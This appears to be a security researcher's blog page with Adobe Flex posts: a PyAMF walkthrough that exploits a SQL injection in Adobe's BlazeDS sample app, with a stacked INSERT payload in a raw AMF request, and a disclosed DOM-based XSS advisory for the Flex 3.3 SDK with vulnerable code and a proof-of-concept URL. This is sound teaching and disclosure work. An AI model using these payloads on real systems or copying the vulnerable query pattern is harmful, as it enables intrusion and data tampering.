Twitter

Entries in Flex (3)

Friday
Apr232010

OWASP NYNJMetro - Pentesting Adobe Flex Applications

I've uploaded my slides from the presentation I gave last week at the OWASP NYC Chapter on Pentesting Adobe Flex Applications.

In an upcoming post, I'll describe in detail working with custom objects and how to craft AMF messages containing them and other data types.

Wednesday
Nov112009

Pentesting Adobe Flex Applications with a Custom AMF Client

At GDS, we've seen an increase over the past few months in the number of applications using Adobe Flex at the presentation layer. Vulnerabilities in Flash aside (i.e., Dowd [PDF]), this technology often presents an obstacle for security testers, especially if the application uses ActionScript Message Format (AMF) to send data across the wire. The AMF specification [PDF], has been implemented in various languages, including Java, Python, PHP, and Ruby. While there are tools out there like Burp and Deblaze which let you manipulate AMF requests, there are certain scenarios where you might want to build your own custom client for testing with AMF. Being a Python fan myself, let's walk through the process of using the PyAMF library to quickly write a custom AMF test client.

Adobe provides several turnkey BlazeDS applications to get developers started with Flex, allowing them to use existing Java backend application logic (courtesy BlazeDS). After downloading the examples, I poked around some of the code and immediately stumbled into a textbook SQL injection vulnerability in the EmployeDAO.java class (code snippet below). This vulnerable application will serve as a perfect example for my custom test client. 

public class EmployeeDAO {
..snip..

public List findEmployeesByName(String name) throws DAOException
    List list = new ArrayList();
    Connection c = null;
    try {
        c = ConnectionHelper.getConnection();
        Statement s = c.createStatement();
        ResultSet rs = s.executeQuery("SELECT * FROM employee WHERE
            first_name LIKE '%" + name + "%' OR
            last_name LIKE '%" + name + "%' ORDER BY last_name");
        Employee employee;
        while (rs.next())
        ..snip..
 

To exploit this, we will write a client that can make requests to the remoting destination. In Python, we construct an AMF request like so using the pyamf.flex.messaging.RemotingMessage class:

request = RemotingMessage(operation="findEmployeesByName", 
                          destination="runtime-employee-ro",
                          messageID=str(uuid.uuid4()).upper(),
                          body=['Marcin'],
                          clientId=None,
                          headers={'DSId': str(uuid.uuid4()).upper(),
                                   'DSEndpoint': 'my-amf',},
                         )

Then, we wrap our request in an AMF envelope:

envelope = pyamf.remoting.Envelope(amfVersion=3)
envelope["/%d" % 1] = pyamf.remoting.Request(u'null', [request])

Afterwards, we need to encode our Request Envelope in AMF using pyamf.remoting.encode().

message = pyamf.remoting.encode(envelope)

Using httplib, we can send and receive HTTP requests with Python, containing our AMF encoded request in the body. We also set the Content-Type to "application/x-amf", to specify the request is encoded in AMF, versus say, application/x-www-form-urlencoded.

conn = httplib.HTTPConnection(hostname, port)
conn.request('POST', path, message.getvalue(),
             headers={'Content-Type': 'application/x-amf'})

Across the wire, this request looks like:

POST /samples/messagebroker/amf HTTP/1.1
Host: 172.16.247.130:8400
Accept-Encoding: identity
Content-Type: application/x-amf
Content-Length: 312

\x00\x03\x00\x00\x00\x01\x00\x04null\x00\x02/1\x00\x00\x00\x00\n\x00\x00
\x00\x01\x11\n\x81\x13Oflex.messaging.messages.RemotingMessage\tbody\x11
clientId\x17destination\x0fheaders\x13messageId\x13operation\rsource\x15
timeToLive\x13timestamp\t\x03\x01\x06\rMarcin\x01\x06'runtime-employee-ro
\n\x0b\x01\tDSId\x06I7F172AA9-9172-4EE4-A6FA-A09A5C961196\x15DSEndpoint
\x06\rmy-amf\x01\x06ID246131C-F453-47C5-A55C-A6EE822D7BF0\x06'
findEmployeesByName\x01\x01\x01

Following, retrieve the response from our connection object, and use pyamf.remoting.decode() to decode and print the content.

response = conn.getresponse()
content = response.read()

content = pyamf.remoting.decode(content)

print content
# -----------

<Envelope amfVersion=3>
(u'/1', <Request target=u'null'>[<RemotingMessage body=[u'Marcin']
source=None timestamp=None destination=u'runtime-employee-ro'
clientId=None headers={'DSId': u'7F172AA9-9172-4EE4-A6FA-A09A5C961196',
'DSEndpoint': u'my-amf'} timeToLive=None messageId=u'D246131C-F453-47C5-
A55C-A6EE822D7BF0' operation=u'findEmployeesByName' />]</Request>)
</Envelope>

Querying the findEmployeesByName method and injecting a single quote causes a java.sql.SQLException error to be thrown.

faultString=u'flex.samples.DAOException : java.sql.SQLException: Unexpected 
token: % in statement [%]'

To exploit this, perform a SQL injection like any other; I'll insert a record of my own into the database:

POST /samples/messagebroker/amf HTTP/1.1
Host: 172.16.247.130:8400
Accept-Encoding: identity
Content-Length: 412
Content-Type: application/x-amf

\x00\x03\x00\x00\x00\x01\x00\x04null\x00\x02/1\x00\x00\x00\x00\n\x00\x00
\x00\x01\x11\n\x81\x13Oflex.messaging.messages.RemotingMessage\tbody\x11
clientId\x17destination\x0fheaders\x13messageId\x13operation\rsource\x15
timeToLive\x13timestamp\t\x03\x01\x06\x81S\\';INSERT INTO employee
(first_name, last_name, title) VALUES ('Marcin', 'Wielgoszewski', 'Rogue
CEO');--\x01\x06'runtime-employee-ro\n\x0b\x01\tDSId\x06I359E2429-9CD6-
423C-AF3D-4BD3DC4E40F3\x15DSEndpoint\x06\rmy-amf\x01\x06IBE9315A6-A7F6-
42CE-A338-23D703573207\x06'findEmployeesByName\x01\x01\x01

The response did not contain anything in the body, which usually is a good indicator the SQL had processed without error. Calling the findEmployeesByName method once more, with Marcin as a parameter value, returns the following data:

<flex.messaging.io.ArrayCollection [{'employeeId': 13, 'firstName': u'Marcin', 
'title': u'Rogue CEO', 'lastName': u'Wielgoszewski', 'company': None,
'phone': None, 'email': None}]>

In summary, this blog post aims to demonstrate how pen testers can leverage the PyAMF library to quickly write a custom AMF test client in Python. As an interesting side note, the only method called from the client-side Flex code in the sample application is getEmployees (with no parameters). Only after reviewing the code would one see what methods are actually available to call. So even though the findEmployeesByName method was not used by the Flex application, it is vulnerable to SQL injection!

During an assessment, it's critical that you identify all the service and method endpoints called by the application, and to also review the source code for potentially hidden methods. If you're operating from a strictly BlackBox perspective, you should always decompile the SWF using a tool like SWFScan, and grep for RemoteObject and AMFChannel as a relatively good way to identify remoting methods. The DeBlaze tool can also performs remote service and method enumeration, which can help you identify other services and methods that aren't exposed in the application SWF.

In my next post, I'll show how you can reverse and create custom objects using Python and PyAMF for advanced penetration testing of Adobe Flex applications. Thanks to Adobe for providing a nice sample BlazeDS application, complete with SQL injection :)

Thursday
Aug202009

Adobe Flex 3.3 SDK DOM-Based XSS

I just released an advisory to Bugtraq regarding a DOM-Based XSS bug in the Adobe Flex 3.3 SDK and earlier versions. I notified the vendor back on June 29, 2009 and they released the fix on August 19th. If you would like more information, you can view their security bulletin and their TechNotes.

Overview

Adobe Flex is a software development kit released by Adobe Systems for the development and deployment of cross-platform rich Internet applications based on the Adobe Flash platform. An instance of a DOM-based Cross Site Scripting (XSS) vulnerability was found in the default index.template.html file of the SDK which is a template used by FlexBuilder to generate the wrapper html for all application files in your project. The XSS vulnerability appears to affect all user's that download and utilize this html wrapper. For more information on DOM-based XSS visit OWASP's site.

Technical Details

File: index.template.html

1) Data enters via URL parameters through the window.location javascript object, is then stored into MMredirectURL variable, and passed to the AC_FL_RunContent() function.

Line 59:
..snip..
var MMredirectURL = window.location;
..snip..

Line 63:
AC_FL_RunContent(
..snip..
"FlashVars", "MMredirectURL=" MMredirectURL '&MMplayerType=' MMPlayerType '&MMdoctitle=' MMdoctitle "",
..snip..


2) The MMredirectURL variable with user-controllable input is passed to AC_GetArgs and ultimately to AC_Generateobj, which performs a document.write. Writing the un-validated data to HTML creates the XSS exposure.

File: AC_OETags.js

Line 200:
function AC_FL_RunContent(){
var ret =
AC_GetArgs
( arguments, ".swf", "movie", "clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"
, "application/x-shockwave-flash"
);
AC_Generateobj(ret.objAttrs, ret.params, ret.embedAttrs);
}


Line 178:
function AC_Generateobj(objAttrs, params, embedAttrs)
{
var str = '';
if (isIE && isWin && !isOpera)
{
str = '<object ';
for (var i in objAttrs)
str = i '="' objAttrs[i] '" ';
str = '>';
for (var i in params)
str = '<param name="' i '" value="' params[i] '" /> ';
str = '</object>';
} else {
str = '<embed ';
for (var i in embedAttrs)
str = i '="' embedAttrs[i] '" ';
str = '> </embed>';
}
document.write(str);
}


NOTE: For the exploit to work, the end user must have installed an older version of Adobe Flash than the value that is set in the Globals variable "requiredMajorVersion" (Line 36).

Proof-of-Concept Exploit

This vulnerability can be exploited against any Flex based application that uses the index.template.html wrapper page containing the code above. In order to exploit this issue, the end user must have Adobe Flash installed, but it must be an older version than the required one set by the application owner (set in Globals variable "requiredMajorVersion").

Reproduction Request:

http://FlexApp/Flex/index.template.html?"/></object><XSS attack string goes here>

Recommendation

Update to Flex 3.4 SDK or view Adobe's TechNotes on how to manually fix the issue.